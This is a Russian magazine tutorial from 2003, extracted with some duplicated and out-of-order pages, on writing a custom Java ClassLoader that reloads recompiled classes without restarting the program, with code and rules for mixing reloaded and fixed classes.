Системный загрузчик классов реализует стандартный алгоритм загрузки из каталогов и JAR-файлов, перечисленных в переменной CLASSPATH (переменной среды либо параметре «-cp» утилиты «java»), а также из JAR-файлов, содержащих стандартные системные классы вроде java.lang.String и входящих в любой комплект поставки Java. Одна из замечательных особенностей языка Java заключается в том, что вы можете реализовать свой собственный загрузчик классов – наследник ClassLoader – и использовать его вместо системного. Наиболее популярный пример применения этой техники – Java-апплеты. Классы Java-апплетов, а также все классы, которыми они пользуются, автоматически загружаются с Web-сервера благодаря специальному загрузчику классов, реализованному «внутри» броузера. Реализуя наследников ClassLoader, вы можете полностью контролировать процесс загрузки абсолютно всех Java-классов. Вы можете загружать их из любого источника, скажем, из собственной системы каталогов, не отраженной в CLASSPATH, из базы данных или из Internet. Вы можете предоставить загрузку стандартных библиотечных классов системному загрузчику, но при этом протоколировать факт обращения к ним. При желании вы даже можете сконструировать байт-код класса в памяти и после этого работать с ним, как с нормальным классом, загруженным из «добропорядочного» .class-файла. Среди компилируемых языков подобные возможности встречаются разве что в ассемблере. Единственное, что вы не можете сделать – создать новый класс, не располагая его байт-кодом. Каким-либо

№1(2), январь 2003

образом: загрузив c диска, из Internet, из базы данных или создав как-то иначе, – ваш наследник ClassLoader обязан получить корректный байт-код класса (образ в памяти обычного .class-файла) в виде массива byte[]. Затем его нужно передать специальному стандартному методу ClassLoader.defineClass, который «превратит» его в готовый класс – объект типа Class. Ниже мы подробно рассмотрим весь этот механизм и решим с его помощью практическую задачу – динамическую подгрузку изменившихся версий .class-файлов без перезапуска главной Java-программы. В процессе решения этой задачи мы увидим, как поразительным образом изменится поведение, казалось бы, четко стандартизованных конструкций языка Java. С помощью довольно простого Java-кода мы изменим сам язык Java, адаптируя его к новым возможностям, которые обеспечиваются нашим вариантом класса ClassLoader.

Как Java загружает классы Основной способ работы с классом ClassLoader – это реализация наследников от него. Прежде чем переходить к рассмотрению этой техники, мы немного поговорим о том, как Java использует загрузчики классов. Как уже было сказано, в системе всегда существует по крайней мере один готовый наследник ClassLoader – системный загрузчик. Его всегда можно получить с помощью вызова ClassLoader.getSystemClassLoader() – статического метода класса ClassLoader, объявленного следующим образом: public static ClassLoader getSystemClassLoader()

Когда вы запускаете приложение Java с помощью стандартной команды: java Имя_главного_класса

виртуальная машина Java первым делом создает системный загрузчик, загружает с его помощью .class-файла вашего главного класса и вызывает статический метод вашего класса, соответствующий объявлению: public static void main(String[] argv)

(или же сообщает об ошибке, не обнаружив такого метода). Java – язык с отложенной загрузкой кода. Первоначально загружается только один класс – тот, который передан в качестве параметра утилите «java»1. Как только код этого класса обращается к какому-то другому классу (любым способом: вызовом конструктора, обращением к статическому методу или полю), загружается другой класс. По мере выполнения кода, загружаются всё новые и новые классы. Ни один класс не загружается до тех пор, пока в нем не возникнет реальная потребность. (Такое поведение заложено в стандартный системный загрузчик.) Главный класс приложения всегда загружается системным загрузчиком. А какие загрузчики будут использоваться для загрузки всех прочих классов? В Java поддерживается понятие «текущего» загрузчи-

65


программирование ка классов. Текущий загрузчик – это тот загрузчик классов (экземпляр некоторого наследника ClassLoader), который загрузил класс, код которого исполняется в данный момент. Каждый класс «помнит» загрузивший его загрузчик. Загрузчик, загрузивший некоторый класс, всегда можно узнать, вызвав метод getClassLoader:

Если initialize содержит true, то инициализация происходит немедленно, в противном случае – откладывается до первого обращения к любому конструктору, статическому методу или полю этого класса. Более простая форма метода Class.forName, о которой шла речь в первой части статьи («Основы», журнал «Системный администратор» №1, октябрь 2002г.)

public ClassLoader getClassLoader() public static Class forName(String className)

у объекта типа Class, соответствующего данному классу. Например, если мы находимся внутри некоторого метода класса MyClass, то вызов MyClass.class.getClassLoader() вернет ссылку на загрузчик, загрузивший этот класс, т.е. загрузивший тот самый байт-код, который выполняет вызов «MyClass.class.getClassLoader()». Когда возникает необходимость загрузить другой класс вследствие обращения к его конструктору, статическому методу или полю, виртуальная Java-машина автоматически обращается к текущему загрузчику классов, о котором «помнит» текущий исполняемый класс. При этом другой класс также «запоминает» этот загрузчик в качестве текущего. Иначе говоря, текущий загрузчик, загрузивший данный класс, по умолчанию наследуется всеми классами, прямо или косвенно вызываемыми из данного. Так как главный класс приложения обычно загружается системным загрузчиком, то он же используется и для загрузки всех остальных классов, необходимых приложению. В случае Java-апплета броузер загружает главный класс апплета своим собственным загрузчиком (умеющим читать классы с Web-сервера); в результате тот же самый загрузчик используется для загрузки всех вспомогательных классов апплета. На самом деле наследование текущего загрузчика – лишь поведение по умолчанию. Загрузчик классов можно написать и так, что он не будет наследоваться для некоторых классов. В тот момент, когда к загрузчику приходит запрос «выдать класс по заданному имени», он может передать этот запрос какому-нибудь другому загрузчику. Тогда данный класс и другие классы, вызываемые из него, будут загружаться новым загрузчиком. Например, специальный загрузчик, реализуемый броузером для загрузки классов апплетов, вполне может «передать свои полномочия» системному загрузчику, когда дело касается стандартного системного класса вроде java.lang.String. Стандартный способ загрузить некоторый класс загрузчиком, отличным от текущего – специальная версия статического метода Class.forName: public static Class forName(String name, boolean initialize, ClassLoader loader)

В качестве name передается полное имя класса (с указанием пакета), в качестве loader – требуемый загрузчик. Не столь очевидный (и не столь важный) параметр initialize управляет инициализацией класса, т.е. установкой значений всех static-полей класса и исполнением кода в секциях: static { ... }

66

всегда использует текущий загрузчик классов. На самом деле, вызов Class.forName(name)

эквивалентен вызову Class.forName(name,true, Текущий_класс.class.getClassLoader())

где Текущий_класс – имя класса, внутри которого содержится данный вызов. Загрузив класс, можно создать его экземпляр или вызвать статический метод средствами отражений. (Техника работы с классом через отражения была подробно описана в первой части статьи.) Дальше этот класс может обычными средствами языка Java обращаться к другим классам – для них будет вызван тот же самый загрузчик loader (либо какие-то другие загрузчики, если реализация loader в какой-то момент «решит» передать управление другому загрузчику). Простейший пример: Class clazz= Class.forName("Имя_класса",true, Мой_нестандартный_загрузчик); clazz.newInstance(); // создаем экземпляр класса

Конструктор без параметров класса Имя_класса может стартовать поток (Thread), решающий некоторую сложную задачу. Все классы, необходимые этой задаче, будут загружены указанным загрузчиком.

Обзор класса ClassLoader Перед тем как переходить к нашей основной задаче – реализации наследников класса ClassLoader – давайте посмотрим, какие методы предоставляет этот класс. Как обычно, мы рассмотрим только наиболее важные из них. Полный список можно найти в документации фирмы Sun. Один из методов ClassLoader мы уже рассматривали. Это статический метод, возвращающий ссылку на стандартный системный загрузчик. ???????????????????????????????????????????

Среди прочих методов самый «бросающийся в глаза» – public Class loadClass(String name)

Этот метод загружает класс с заданным именем. На самом деле его реализация сводится к вызову другого protected-метода:


программирование protected synchronized Class loadClass(String name, boolean resolve)

Как можно догадаться, переопределение этого protectedметода – один из основных способов реализовать собственный загрузчик классов. Я не знаю, почему метод loadClass(String name) объявлен как public. Ведь уже существует стандартный способ загрузки класса по имени, с помощью произвольного загрузчика – вызов Class.forName("Имя_класса",true,loader)

(Классы Class и ClassLoader расположены в общем пакете – так что метод loadClass(String name) вполне мог бы быть protected. Это не помешало бы методу Class.forName его вызвать.) Может быть, раз уж loadClass – public-метод, то вместо Class.forName(«Имя_класса»,true,loader) можно пользоваться прямым обращением loader.loadClass(«Имя_класса») ? Судя по всему, следует все же всегда использовать вызов Class.forName. Хотя это совершенно неочевидно из документации. Несколько позже мы увидим, что метод Class.forName выполняет с классом некоторые дополнительные действия, в частности, кэширует его, обеспечивая, в отличие от прямого вызова loadClass, стабильную работу даже при недостаточно аккуратной реализации загрузчика loader. Есть также группа методов, предназначенных для загрузки ресурсов: public URL getResource(String name) public InputStream getResourceAsStream(String name) public final Enumeration getResources(String name) public static URL getSystemResource(String name) public static InputStream getSystemResourceAsStream( String name) public static Enumeration getSystemResources(String name)

Это более полный аналог методов getResource и getResourceAsStream класса Class, рассмотренных в первой части с татьи. На самом деле методы Class.getResource и Class.getResourceAsStream как раз обращаются к соответствующим методам текущего загрузчика, загрузившего данный класс. Главное отличие методов работы с ресурсами класса ClassLoader – абсолютные пути. Путь к ресурсу отсчитывается не от каталога, содержащего данный class-файл (как в случае Class.getResource и Class.getResourceAsStream), а от одного из каталогов, указанных в переменной CLASSPATH. Обратите внимание: названия методов getSystemResource, getSystemResourceAsStream, getSystemResources вовсе не означают, что загружаются какие-то особые «системные» ресурсы. Слово «System» в этих названиях говорит о том, что для загрузки ресурсов будет в любом случае использоваться стандартный системный загрузчик. В сущности, это практически все. Любая реализация ClassLoader должна обеспечивать работоспособность перечисленных методов.

Ставим задачу: перезагрузка классов «на лету» Мы приступаем к самой интересной части – реализации своего наследника абстрактного класса ClassLoader. Обычно в книгах по языку Java реализацию ClassLoader рассматривают на примере загрузки .classфайлов из какого-либо нестандартного источника, например, каталога, не указанного в переменной CLASSPATH. Такой пример достаточно прост, но, на мой взгляд, не очень интересен. В большинстве ситуаций поиск .classфайлов в путях, перечисленных в CLASSPATH, – вполне нормальное решение. Загрузка же из принципиально иных источников типа Internet вряд ли будет полезна вне контекста куда более сложной задачи, включающей такие вопросы, как политика безопасности или кэширование загруженных файлов на локальном диске. Мы попробуем решить другую задачу. Предположим, разрабатывается большая программа на Java. По каким-либо причинам эту программу нежелательно часто перезагружать: останавливать и запускать снова. Например, это может быть сложная серверная программа, каждую секунду обслуживающая многих клиентов, для которой даже сравнительно кратковременная неработоспособность является критичной. Или просто программа настолько «тяжелая», что полный ее перезапуск требует несколько минут, и часто перезапускать ее крайне неудобно. В то же время программа постоянно развивается. Создаются новые независимые блоки, переписываются и отлаживаются старые. Возможно, программа «умеет» исполнять сторонние классы, разработанные пользователями (как делать такие вещи с помощью отражений, рассказывалось в первой части статьи). В таких условиях возникает естественное желание, чтобы подключение новых классов или новых версий старых классов не требовало полной остановки и перезапуска программы. Что касается действительно новых классов – тут проблем нет. Вы вольны в любой момент скомпилировать новый класс с новым уникальным именем – даже когда программа уже запущена. Если ваша программа после этого выполнит вызов Class.forName(name) с этим именем (например, в результате автоматического сканирования каталогов поиска CLASSPATH в поисках новых .class-файлов), то этот класс будет успешно подключен, и программа сможет им пользоваться. Что касается версий .class-файлов – тут все значительно хуже. Однажды обратившись к некоторому классу, стандартный системный загрузчик запомнит его в своем внутреннем кэше и будет всегда использовать именно его. Никакие последующие перекомпиляции .class-файла и даже физическое удаление этого файла не отразятся на работе этого класса. Насколько я знаю, никакими силами, кроме полного перезапуска программы (т.е. всей виртуальной машины Java), нельзя заставить системный загрузчик «забыть» тот байт-код класса, который он однажды загрузил. Если вы когда-нибудь разрабатывали и отлаживали апплеты, возможно вы сталкивались с неприятной особенностью броузеров: не учитывать изменения в переком-

№1(2), январь 2003 64-77.p65

67 67

18.12.02, 19:24


программирование ка классов. Текущий загрузчик – это тот загрузчик классов (экземпляр некоторого наследника ClassLoader), который загрузил класс, код которого исполняется в данный момент. Каждый класс «помнит» загрузивший его загрузчик. Загрузчик, загрузивший некоторый класс, всегда можно узнать, вызвав метод getClassLoader:

Если initialize содержит true, то инициализация происходит немедленно, в противном случае – откладывается до первого обращения к любому конструктору, статическому методу или полю этого класса. Более простая форма метода Class.forName, о которой шла речь в первой части статьи («Основы», журнал «Системный администратор» №1, октябрь 2002г.)

public ClassLoader getClassLoader() public static Class forName(String className)

у объекта типа Class, соответствующего данному классу. Например, если мы находимся внутри некоторого метода класса MyClass, то вызов MyClass.class.getClassLoader() вернет ссылку на загрузчик, загрузивший этот класс, т.е. загрузивший тот самый байт-код, который выполняет вызов «MyClass.class.getClassLoader()». Когда возникает необходимость загрузить другой класс вследствие обращения к его конструктору, статическому методу или полю, виртуальная Java-машина автоматически обращается к текущему загрузчику классов, о котором «помнит» текущий исполняемый класс. При этом другой класс также «запоминает» этот загрузчик в качестве текущего. Иначе говоря, текущий загрузчик, загрузивший данный класс, по умолчанию наследуется всеми классами, прямо или косвенно вызываемыми из данного. Так как главный класс приложения обычно загружается системным загрузчиком, то он же используется и для загрузки всех остальных классов, необходимых приложению. В случае Java-апплета броузер загружает главный класс апплета своим собственным загрузчиком (умеющим читать классы с Web-сервера); в результате тот же самый загрузчик используется для загрузки всех вспомогательных классов апплета. На самом деле наследование текущего загрузчика – лишь поведение по умолчанию. Загрузчик классов можно написать и так, что он не будет наследоваться для некоторых классов. В тот момент, когда к загрузчику приходит запрос «выдать класс по заданному имени», он может передать этот запрос какому-нибудь другому загрузчику. Тогда данный класс и другие классы, вызываемые из него, будут загружаться новым загрузчиком. Например, специальный загрузчик, реализуемый броузером для загрузки классов апплетов, вполне может «передать свои полномочия» системному загрузчику, когда дело касается стандартного системного класса вроде java.lang.String. Стандартный способ загрузить некоторый класс загрузчиком, отличным от текущего – специальная версия статического метода Class.forName: public static Class forName(String name, boolean initialize, ClassLoader loader)

всегда использует текущий загрузчик классов. На самом деле, вызов Class.forName(name)

эквивалентен вызову Class.forName(name,true, Текущий_класс.class.getClassLoader())

где Текущий_класс – имя класса, внутри которого содержится данный вызов. Загрузив класс, можно создать его экземпляр или вызвать статический метод средствами отражений. (Техника работы с классом через отражения была подробно описана в первой части статьи.) Дальше этот класс может обычными средствами языка Java обращаться к другим классам – для них будет вызван тот же самый загрузчик loader (либо какие-то другие загрузчики, если реализация loader в какой-то момент «решит» передать управление другому загрузчику). Простейший пример: Class clazz= Class.forName("Имя_класса",true, Мой_нестандартный_загрузчик); clazz.newInstance(); // создаем экземпляр класса

Конструктор без параметров класса Имя_класса может стартовать поток (Thread), решающий некоторую сложную задачу. Все классы, необходимые этой задаче, будут загружены указанным загрузчиком.

Обзор класса ClassLoader Перед тем как переходить к нашей основной задаче – реализации наследников класса ClassLoader – давайте посмотрим, какие методы предоставляет этот класс. Как обычно, мы рассмотрим только наиболее важные из них. Полный список можно найти в документации фирмы Sun. Один из методов ClassLoader мы уже рассматривали. Это статический метод, возвращающий ссылку на стандартный системный загрузчик. public static ClassLoader getSystemClassLoader()

В качестве name передается полное имя класса (с указанием пакета), в качестве loader – требуемый загрузчик. Не столь очевидный (и не столь важный) параметр initialize управляет инициализацией класса, т.е. установкой значений всех static-полей класса и исполнением кода в секциях: static { ... }

66

Среди прочих методов самый «бросающийся в глаза» – public Class loadClass(String name)

Этот метод загружает класс с заданным именем. На самом деле его реализация сводится к вызову другого protected-метода:


программирование байтов специальный «магический» метод defineClass:

return findSystemClass(name); // Обращаемся к системному загрузчику в случае неудачи. // findSystemClass - это метод абстрактного класса // ClassLoader с объявлением // protected final Class findSystemClass(String name) // (т.е. предназначенный для использования // в наследниках и не подлежащий переопределению). // Он выполняет поиск и загрузку класса по // алгоритму системного загрузчика. Без вызова // "findSystemClass(name)" нам пришлось бы // самостоятельно позаботиться о загрузке всех // стандартных библиотечных классов типа // java.lang.String, что потребовало бы // реализовать работу с JAR-архивами // (стандартные библиотеки почти всегда упакованы в JAR) } try { byte[] classBytes= loadFileAsBytes(f); result= defineClass(name, classBytes,0,classBytes.length); } catch (IOException e) { throw new ClassNotFoundException( "Cannot load class "+name+": "+e); } catch (ClassFormatError e) { throw new ClassNotFoundException( "Format of class file incorrect for class " +name+": "+e); } classesHash.put(name,result); return result;

protected final Class defineClass(String name, byte[] b, int off, int len) throws ClassFormatError

Это как раз то самое место, где цепочка байтов – образ .class-файла (фрагмент массива b длины len по смещению off) – «чудесным образом» превращается в готовый к использованию класс. Метод defineClass, как и следовало ожидать, реализован в native-коде. Именно он помещает байт-код класса в недра виртуальной машины, где он приобретает вид, пригодный для непосредственного исполнения на конкретной аппаратной платформе, в частности, компилируется в машинный код процессора для более быстрого исполнения (так называемая технология Just-In-Time, сокращенно JIT-компиляция). Наконец, метод findResource должен просто найти файл, соответствующий данному ресурсу – по тем же правилам, по которым отыскивается файл класса в методе findClass – и вернуть ссылку на него в виде URL. Системный загрузчик классов не просто загружает файлы классов с диска, но еще и запоминает их во внутреннем кэше – так что последующие обращения к loadClass для того же имени класса просто выдают готовый объект Class из кэша. Кэширование, вообще говоря, представляется разумной идеей: зачем каждый раз заново обращаться к диску? Мы будем хранить кэш в нестатическом private-поле типа java.util.HashMap нашего класса DynamicClassOverloader. Таким образом, каждый новый экземпляр нашего загрузчика будет создаваться с новым кэшем, и для «забывания» загруженных ранее классов будет достаточно просто создать новый экземпляр загрузчика. Итак, реализация: версия первая.

} protected java.net.URL findResource(String name) { File f= findFile(name,""); if (f==null) return null; try { return f.toURL(); } catch(java.net.MalformedURLException e) { return null; } } private File findFile(String name, String extension) { // Поиск файла с именем name и, возможно, расширением // extension в каталогах поиска, заданных параметром // конструктора classPath. Имена подкаталогов в name // разделяются символом '/' – даже если в операционной // системе принят другой разделитель для подкаталогов. // (Именно в таком виде получает свой параметр метод // findResource.) for (int k=0; k<classPath.length; k++) { File f= new File((new File(classPath[k])).getPath() +File.separatorChar +name.replace('/',File.separatorChar)+extension); if (f.exists()) return f; } return null; }

import java.io.*; public class DynamicClassOverloader extends ClassLoader { private java.util.Map classesHash= new java.util.HashMap(); public final String[] classPath; public DynamicClassOverloader(String[] classPath) { // Набор путей поиска - аналог переменной CLASSPATH this.classPath= classPath; } protected synchronized Class loadClass(String name, boolean resolve) throws ClassNotFoundException { Class result= findClass(name); if (resolve) resolveClass(result); return result; } protected Class findClass(String name) throws ClassNotFoundException { Class result= (Class)classesHash.get(name); if (result!=null) { /* System.out.println("% Class "+name +" found in cache"); /* return result; } File f= findFile(name.replace('.','/'),".class"); // Класс mypackage.MyClass следует искать // файле mypackage/MyClass.class /* System.out.println("% Class "+name +(f==null?"":" found in "+f)); /* if (f==null) {

№1(2), январь 2003

}

public static byte[] loadFileAsBytes(File file) throws IOException { byte[] result= new byte[(int)file.length()]; FileInputStream f= new FileInputStream(file); try { f.read(result,0,result.length); } finally { try { f.close(); } catch (Exception e) { // Игнорируем исключения, возникшие при вызове // close. Они крайне маловероятны и не очень // важны - файл уже прочитан. Но если они все // же возникнут, то они не должны замаскировать // действительно важные ошибки, возникшие при // вызове read. }; } return result; }

Проверяем. Пишем тестовый класс TestModule.java, который собираемся загружать нашим загрузчиком: public class TestModule {

69


программирование

}

public String toString() { return "TestModule, version 1!"; }

Пишем тест Test.java, который будет загружать этот класс: import java.io.*; public class Test { public static void main(String[] argv) throws Exception { for (;;) { ClassLoader loader= new DynamicClassOverloader( new String[] {"."}); // - текущий каталог "." будет //единственным каталогом поиска Class clazz= Class.forName("TestModule", true,loader); Object object= clazz.newInstance(); System.out.println(object); new BufferedReader(new InputStreamReader( System.in)).readLine(); } } }

Кладем все эти файлы в один каталог, компилируем и запускаем Test: java Test

В каждой итерации бесконечного цикла создается экземпляр нашего загрузчика loader, с его помощью загружается класс TestModule, создается его экземпляр и распечатывается, при этом, как обычно, неявно используется метод toString(), реализованный в TestModule. Затем ожидается нажатие на клавиатуре клавиши ENTER (либо Ctrl-C для выхода из программы). Пока наш тест ждет нажатия ENTER, перейдем в другое окно (ОС Windows) или консоль (ОС Unix), чуть-чуть исправим класс TestModule: изменим результат toString() на «TestModule, version 2!» и перекомпилируем его. После чего вернемся в наш тест и нажмем ENTER. Ура! В следующей итерации цикла мы видим результат работы свежей версии класса TestModule.class – будет напечатана новая строка «TestModule, version 2!». Мы добились успеха, не выходя из программы, модифицировали class-файл, и новая версия класса была успешно загружена. Класс TestModule можно заменить на любой другой сложный класс, конструктор которого инициирует сколь угодно сложную цепочку действий. Все классы, которые в процессе этого будут задействованы, будут точно так же динамически перезагружаться.

Первые проблемы Наш тест работает, но возникает законный вопрос – ну и что? Да, мы можем в определенный момент запустить некий класс, заданный своим именем, после чего он будет выполнять какие-то действия и, в конце концов, вернет строку «object.toString()». Но это в общем-то ничем принципиально не отличается от запуска новой java-программы стандартным вызовом java Имя_класса

Вспомним постановку задачи. У нас есть большая,

70

очень большая Java-программа, полный перезапуск которой занимает длительное время и крайне нежелателен. Мы хотим иметь возможность в какой-то момент быстро перезагрузить некоторые ФРАГМЕНТЫ программы, чтобы все классы, относящиеся к этим фрагментам, после этого момента заново считывались с диска. Вероятнее всего, эти классы должны активно взаимодействовать друг с другом и со стационарной, неперезагружаемой частью программы. Например, они могут реализовывать различные интерфейсы, которыми пользуется стационарная часть программы, их экземпляры могут сохраняться в различных переменных в стационарной части и т. д. В терминах нашего загрузчика классов это означает, что мы должны уметь взаимодействовать с классами, загруженными вызовом Class.forName("Имя_класса",true,loader)

Мы должны работать с их экземплярами, вызывать методы, обращаться к полям, перехватывать исключения, причем по возможности стандартными способами языка Java. Аналогично классы, загруженные разными экземплярами загрузчика, например, отвечающие за слабо связанные фрагменты большой программы, которые нужно перезагружать в разные моменты – должны уметь взаимодействовать друг с другом. Казалось бы, с этим нет никаких проблем. В тесте мы получили вызовом newInstance() переменную типа Object. Но если мы знаем, что ее тип – TestModule, мы можем спокойно привести ее к этому типу и работать дальше обычным образом: ... Class clazz= Class.forName("TestModule",true,loader); TestModule testModule= (TestModule)clazz.newInstance(); работаем с полями testModule, вызываем методы и т.д.

Если бы здесь был обычный вызов Class.forName(«TestModule»), все было бы нормально. Это был бы простейший вариант классической схемы построения расширяемых систем. В качестве аргумента forName мог бы выступать любой наследник TestModule (или класс, реализующий интерфейс TestModule), реализация которого неизвестна и не обязательно доступна в момент компиляции системы. Об этом способе работы с отражениями рассказывалось в первой части статьи. Но с нашим необычным загрузчиком классов нас ждет неприятная неожиданность. При попытке приведения типа будет возбуждено исключение ClassCastException – ошибка приведения типа!

Новые свойства языка – «динамические» и «истинно-статические» классы Когда я впервые столкнулся с описанной ситуацией, то долго не мог понять, в чем тут дело. Дальнейшие тесты только усугубляли недоумение. Вроде бы все сделано правильно, при простейшем использовании работает, но постоянно обнаруживаются какие-то странности. В некоторых случаях, на вид совершенно невинных, вообще воз-


программирование никало низкоуровневое исключение LinkageError. На самом деле мы только что столкнулись с проявлением достаточно общей проблемы. Чтобы понять ее природу, нужно заново внимательно рассмотреть понятие класса в языке Java. В мире объектно-ориентированного программирования, в частности в Java, мы привыкли к тому, что существует два уровня иерархии сущностей – класс и экземпляр. Класс с заданным именем в системе всегда один – он однозначно идентифицируется своим полным именем. Экземпляров же у класса может быть много. Так, в Java поля с квалификатором static принадлежат целому классу, каждое такое поле существует в системе в единственном экземпляре. В отличие от этого для обычного (нестатического) поля отдельная его версия присутствует в каждом экземпляре класса. Создав наш загрузчик DynamicClassOverloader, всегда загружающий свежие версии class-файлов, мы принципиально изменили ситуацию. Теперь есть три уровня иерархии: сам класс, версия класса – тот байт-код, который был загружен конкретной версией DynamicClassOverloader (возможно, меняющийся в процессе работы программы) и экземпляры конкретной версии класса. На самом деле виртуальная машина Java «считает» классом как раз то, что для нас является версией. Хотя это и неочевидно из документации, но класс в Java однозначно идентифицируется не только полным именем, но еще и экземпляром загрузчика, загрузившего этот класс. Каждый экземпляр загрузчика классов порождает собственное пространство имен, внутри которого классы действительно однозначно идентифицируются полными именами, но классы в разных пространствах имен, загруженные разными загрузчиками, вполне могут иметь идентичные имена. На самом деле, с точки зрения Java, класс TestModule, возникающий в результате прямого вызова «TestModule testModule= ...» в тексте файла Test.java, и класс TestModule, полученный вызовом Class.forName("TestModule",true,loader)

– это два совершенно разных класса. Первый был загружен системным загрузчиком (вместе с самым главным классом Test), а второй – одним из экземпляров нашего загрузчика DynamicClassOverloader. По классическим законам объектно-ориентированного программирования приведение типов между ними невозможно. Более того, каждая итерация нашего цикла, оказывается, порождала новую версию класса TestModule, не связанную с предыдущими. В этом можно убедиться следующим образом. Модифицируем класс TestModule: public class TestModule { private static int counter= 0; public String toString() { return "TestModule, version 1! "+(counter++); } }

В нормальных условиях каждое новое обращение к

№1(2), январь 2003

методу toString() такого класса привело бы к получению строки с новым, увеличенным на 1 значением счетчика counter. Если бы в тесте Test.java был обычный вызов Class.forName(«TestModule»), мы бы это и увидели: на каждой итерации цикла распечатывались бы разные значения счетчика. А с нашим загрузчиком мы все время будем видеть нулевое значение. Каждое пересоздание экземпляра загрузчика DynamicClassOverloader приводит к появлению нового пространства имен, в котором инициализируется совершенно новая версия класса TestModule, ничего не знающая о предыдущих версиях и о содержащихся в них статических переменных. Фактически, мы придали языку Java новое свойство – «динамичность» классов. Теперь, обращаясь прямо или косвенно к любому классу, придется думать о том, какая именно версия этого класса будет использована и можно ли ее использовать совместно с тем классом, который к ней обращается. Свойство, что и говорить, крайне неудобное. Как же теперь работать с «динамическими» классами? Ведь все версии классов, которыми пользуется наш первый класс, загруженный DynamicClassOverloader, и которые тем самым тоже загружены нашим загрузчиком, – все эти версии неизвестны в пространстве имен стационарной части – в нашем случае в главном классе Test. Решение этой проблемы – заблокировать свойство «динамичности» для некоторых классов, т.е. потребовать, чтобы такие классы наш загрузчик загружал стандартным способом – через вызов «findSystemClass(name)». Назовем такие классы «истинно-статическими» – «truestatic». Такие «true-static»-классы можно будет свободно совместно использовать в стационарной части программы и всех версиях «динамических» классов. Для «truestatic»-классов всегда будет существовать только одна версия, как и предполагается в обычном языке Java, и не будет проблем несоответствия типа. Можно, например, сделать «true-static» все ключевые интерфейсы, основные типы данных, которые должны получать и возвращать «динамические» классы, базовые типы исключений, подлежащие перехвату и единообразной обработке, и т. п. В сущности, уже в реализованной нами версии загрузчика существовали «true-static»-классы – это библиотечные классы из пакетов типа java.lang, которые мы не пытались грузить самостоятельно. Скажем, такими были стандартные типы Object и String. Именно поэтому в первоначальном варианте теста мы смогли получить от созданного экземпляра динамического класса TestModule строку String – результат метода toString(). Можно придумать много соглашений, по которым загрузчик должен опознавать «true-static»-классы. Например, можно проверить существование некоторого ключевого static-поля или проверить, не реализован ли в классе некоторый специальный пустой интерфейс2. Мы ограничимся наиболее простым (хотя и не всегда удобным) вариантом: будем проверять, не содержит ли имя класса name цепочки символов «truestatic» без учета регистра символов. Итак, начинаем модифицировать наш загрузчик DynamicClassOverloader: добавляем в методе findClass сразу перед вызовом

71


программирование File f= findFile(name.replace('.','/'),".class");

дополнительную проверку имени name. Вот начало исходного текста нового метода findClass: protected Class findClass(String name) throws ClassNotFoundException { Class result= (Class)classesHash.get(name); if (result!=null) { /* System.out.println("% Class " +name+" found in cache"); /* return result; } if (name.toLowerCase().indexOf("truestatic")!=-1) return findSystemClass(name); File f= findFile(name.replace('.','/'),".class"); ...

Попробуем этим воспользоваться. Создаем «truestatic»-класс TrueStaticModule.java: public class TrueStaticModule { protected static int counter= 0; public int getCounter() { return counter; } }

В нем есть public-метод getCounter(), которым мы собираемся пользоваться в стационарной части программы. Наследуем от него «динамический» класс DynamicModule.java: public class DynamicModule extends TrueStaticModule { public String toString() { return "DynamicModule, version 1! "+(counter++); } }

Наконец, переписываем тест Test.java – «стационарную часть» программы: import java.io.*; public class Test { public static void main(String[] argv) throws Exception { for (;;) { ClassLoader loader= new DynamicClassOverloader( new String[] {"."}); // - текущий каталог "." будет //единственным каталогом поиска Class clazz= Class.forName("DynamicModule", true,loader); TrueStaticModule trueStaticModule= (TrueStaticModule) clazz.newInstance(); System.out.println(trueStaticModule.getCounter()); System.out.println(trueStaticModule); new BufferedReader(new InputStreamReader ( System.in)).readLine(); } } }

Компилируем все эти файлы и запускаем: java Test

Все работает нормально. Как и раньше мы можем прямо в процессе работы теста модифицировать и перекомпилировать класс DynamicModule, и это изменение будет

72

учтено. Но для «общения» со стационарной частью программы и для хранения счетчика обращений к методу toString() теперь используется «true-static»-класс TrueStaticModule. Поэтому мы не получаем исключения ClassCastException, а счетчик counter корректно увеличивается на протяжении всей работы теста. Поставленную задачу можно считать в принципе решенной. Чтобы использование нашего загрузчика стало действительно удобным, стоило бы еще реализовать специальный сервисный «true-static»-класс с методом forName, аналогичным стандартному forName. Только в отличие от стандартного, наш forName обращался бы к нашему загрузчику, экземпляр которого, внутреннее private-поле, создавался бы при первом обращении к forName. Параметры конструктора для нашего загрузчика можно было бы настраивать с помощью специальных полей сервисного класса. Кроме того, в нашем сервисном классе был бы специальный метод invalidate, обнуляющий private-поле с нашим загрузчиком и вынуждающий метод forName при следующем вызове заново создать загрузчик. Метод invalidate можно было бы вызывать в Java-программе всякий раз, когда требуется перезагрузить с диска новые версии всех «динамических» классов. Написание подобного сервисного класса – достаточно понятная задача, и мы не будем на ней останавливаться.

Правила работы с «динамическими» классами При практическом использовании описанного выше загрузчика классов программирование в языке Java заметно усложняется. Нужно помнить о возможной «динамичности» классов: каждый экземпляр загрузчика порождает отдельную версию каждого такого класса в собственном пространстве имен. Нужно заботиться о том, чтобы некоторые классы были «true-static». Все это требует четкого понимания описанных выше механизмов и достаточной аккуратности. Я сформулирую ниже несколько правил, которыми следует руководствоваться при программировании в таком, изменившем свое поведение, языке Java. Будем называть динамической частью Java-программы ту систему «динамических» классов, которая загружается некоторым экземпляром нашего загрузчика DynamicClassOverloader, и стационарной частью – основную систему классов, которая загружает динамическую часть, используя экземпляры DynamicClassOverloader. В программе может быть и несколько динамических частей, никак не связанных друг с другом, одновременно загруженных несколькими экземплярами DynamicClassOverloader. В стационарную часть входят, в частности, все «true-static»-классы. ПРАВИЛО A. Стационарную часть программы – в частности, все «true-static»-классы – следует разрабатывать таким образом, чтобы никак не использовать информацию о структуре «динамических» классов: имена классов, имена их членов, типы параметров у методов. Иными словами, нельзя прямо ссылаться на конкретные имена «динамических» классов и обращаться к ним средствами язы-


программирование ка Java. Единственным способом взаимодействия стационарной части программы с «динамическими» классами должна быть их загрузка вызовом Class.forName("TestModule",true,loader)

